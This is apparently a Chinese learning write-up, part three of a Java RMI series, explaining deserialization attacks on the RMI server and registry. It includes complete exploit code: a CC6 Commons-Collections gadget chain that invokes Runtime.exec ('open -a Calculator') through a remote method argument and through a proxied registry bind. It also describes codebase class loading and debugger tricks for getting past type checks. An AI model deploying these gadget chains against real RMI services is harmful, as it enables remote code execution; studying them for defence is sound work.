Java RMI学习与解读(三)
Java RMI学习与解读(三)
写在前面
接下来这篇就是最感兴趣的Attack RMI部分了。
前面也说过,RMI的通信过程会用到反序列化,那么针对于RMI的三个角色: Server/Regisrty/Client 都存在攻击方法,接下来解读与学习这一部分。
引用下su18师傅文章中RMI部分的RMI执行流程图,因为后面学习RMI的攻击方式还是需要对RMI的执行流程很清楚才可以
Attack RMI
攻击Server端
0x01 恶意传参
其实这个思路简单点说,就是在远程接口(RemoteInterface)中声明了一个方法,该方法的参数是一个对象(Object类型),那么在我们RMI时,传入一个自定义的恶意对象,在RMI通信时序列化,在Server端触发反序列化,且Server端存在一些Gadget就可以实现RCE。
这里有一个上一篇文章没细跟的点,我们知道反序列化操作在RMI时是被封装到了unmashralValue
方法中,该方法位于rt.jar!/sun/rmi/server/UnicastRef.class
中,只要不是八大基本类型的参数,最终都会反序列化(比如String,数组,以及基本数据类型的封装类如Interger,这些都会被反序列化)所以说这个方法的参数类型不一定必须为Object。
下面还是选用Object类型
pom.xml加入CC或其他Gadget可RCE的,这里用的CC6
RemoteInterface
String attackServer(Object object) throws RemoteException;
RemoteObject
@Override
public String attackServer(Object object) throws RemoteException {
return "In attackServer Method!";
}
RMIClient
public class RMIClient3 {
public static void main(String[] args) throws Exception {
//创建注册中心对象
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
//打印注册中心中的远程对象别名list
System.out.println(Arrays.toString(registry.list()));
//通过别名获取远程对象存根stub并调用远程对象的方法
RemoteInterface stub = (RemoteInterface) registry.lookup("Zh1z3ven");
System.out.println("[INFO] RegistryServer: " + stub.attackServer(evilObject()));
}
public static Object evilObject() throws Exception {
Transformer Testtransformer = new ChainedTransformer(new Transformer[]{});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, Testtransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test1");
HashSet hashSet = new HashSet(1);
hashSet.add(tiedMapEntry);
lazyMap.remove("test1");
//通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(Testtransformer, transformers);
return hashSet;
}
}
大致流程为
RemoteInterface接口存在参数类型为Object的方法
Client端 ==> 将作为参数的对象进行序列化(通过远程对象的引用也可以说是代理对象) ==> Server端 ==> 反序列化该参数(readObject) ==> 进入Gadget
那么这里有一个细节就是我们产生恶意类的方法的返回值(Object evilObject())与RemoteInterface中定义的方法的参数类型都为Object,这里是没有问题的。但是当传参的类型与我们传入的类型不一致时,比如RemoteInterface接口定义的是A类型,我们传入的是B类型,虽然都是传入的对象,但在Server端会抛出找不到该方法的异常,因为传入的参数类型与接口定义的方法不匹配。
这里有4种解决方法,仅复现第4种
- 通过网络代理,在流量层修改数据
- 自定义 “java.rmi” 包的代码,自行实现
- 字节码修改
- 使用 debugger
首先我们在RemoteInterface接口中重载attackServer方法,方法的参数为Client端不存在的类(ServerObject), 在RemoteObjectInvocationHandler 的 invokeRemoteMethod
方法处下断点,将method
所代表的方法中的参数值类型改为服务端存在ServerObject.class
再去触发反序列化即可。
RMI-Server/RemoteInterface
RMI-Server/RemoteObject
将之前的attackServer方法内容注释掉
RMI-Client/RemoteInterface
同时写上这两个方法且创建ServerObject类
可以尝试先直接运行Client端 会抛出异常
我们这里在java/rmi/server/RemoteObjectInvocationHandler.java
中invokeRemoteMethod
方法下断点
debug,更改method的值
弹出计算器
回头看看这个利用手法的限制:
- 已知RemoteInterface且其中存在某方法的参数类型为对象
- 这个对象的模版类已知
- 存在反序列化Gadget且可利用
0x02 动态加载
前面也提到了RMI支持动态加载,当本地 ClassPath 中无法找到相应的类时,会在指定的 codebase 里加载 class。
当时提到了两个场景,分别是Client端加载Server端和Server端加载Client端。这里用到的就是Server端加载Client端。
通过java.rmi.server.codebase
属性设置rmi
协议的URL,让Server端加载指定URL下的恶意类完成RCE。
当然使用动态类加载依然有使用前提:
- Server端设置RMISecurityManager作为安全管理器(SecurityManager)
- Server端属性 java.rmi.server.useCodebaseOnly 的值必须为false(JDK 6u45、7u21之前默认为false)
serialVersionUID ,这个点是个人想到的,如果UID不一样导致反序列化失败如何解决?
动态加载时用的是loadClass
方法加载.class
文件,但是调用方法时是在远程Server端而本地Client端是拿到的方法执行后的返回值。那如何利用呢?
这里想到个不太现实的场景:Server端的RemoteObject中实现的方法会去将我们传入的远程对象进行newInstance
操作,触发静态代码块中代码执行。那么可控点出来了,我们在Client端上的远程类构造CC poc(或其他任意RCE的)写入静态代码块。达到远程代码执行orRCE。
但是这里有新问题:
- 真的有这种场景嘛?(感觉基本实战遇不到)
- 因为Server端只会loadClass并不会进行反序列化(所以在静态代码块中就要完成readObject的操作),即使我们不是CC poc,只是写了Runtime.exec去执行命令,如何避免本地触发命令执行呢?
RemoteInterface
String attackServerLoadClass(Object object) throws RemoteException;
RemoteObject
@Override
public String attackServerLoadClass(Object object) throws RemoteException {
try {
object.getClass().newInstance();
} catch (InstantiationException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}
return object.getClass().getName();
}
其他部分基本和之前动态加载代码没啥区别,恶意类的话,在静态代码块写入CC poc或runtime.exec()弹calc即可
这么来看针对于Server端的攻击,可能性高的还是RemoteInterface中声明的方法其中有以对象作为参数的,因为Server端会对传入的参数进行反序列化达到RCE(需要有已知Gadget)
攻击Registry
关于Registry其实就是Server端在绑定(bind)name与远程对象时,Server端序列化传输远程对象到Registry,Registry在进行反序列化从而进入Gadget。当然bind方法只是其中一个可以进入反序列化的点,同样的还有list/lookup/rebind/unbind,只不过可控的传参类型有些区别,比如lookup是可控string类型,bind则是Object就会在构造poc上更方便些。
RegistryServer
public class RegistryServer5 {
public static void main(String[] args) {
try {
//创建Registry
Registry registry = LocateRegistry.createRegistry(1099);
//实例化远程对象类,创建远程对象
RemoteObject remoteObject = new RemoteObject();
//通过Naming类绑定别名与 RemoteObject
Naming.bind("rmi://127.0.0.1:1099/Zh1z3ven", remoteObject);
//通过Naming类绑定别名与 RemoteObject
System.out.println("RegistryServer Start ...");
System.out.println("Registry List: " + Arrays.toString(registry.list()));
} catch (Exception e) {
e.printStackTrace();
}
}
}
AttackRegisrty
public class AttackRMIRegistry {
public static void main(String[] args) throws Exception {
// 使用AnnotationInvocationHandler做动态代理
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = aClass.getDeclaredConstructors()[0];
constructor.setAccessible(true);
HashMap<String, Object> map = new HashMap<String, Object>();
map.put("zh1z3ven", evilObject());
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);
Remote remote = (Remote) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Remote.class,}, invocationHandler);
// 获取Registry
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
registry.unbind("zh1z3ven2");
registry.bind("zh1z3ven2", remote);
System.out.println("RegistryServer List: " + Arrays.toString(registry.list()));
}
public static Object evilObject() throws Exception {
Transformer Testtransformer = new ChainedTransformer(new Transformer[]{});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, Testtransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test1");
HashSet hashSet = new HashSet(1);
hashSet.add(tiedMapEntry);
lazyMap.remove("test1");
//通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(Testtransformer, transformers);
return hashSet;
}
}
END
当然还有很多手法这里没记录,比如DGC层反序列化,攻击Client端,BypassJEP290,RMI相关Gadget,BaRMIe工具解读都还没有做,后面遇到了再分析。深感学习RMI吃力,下面列一些参考文章,感兴趣的师傅可以深入研究下。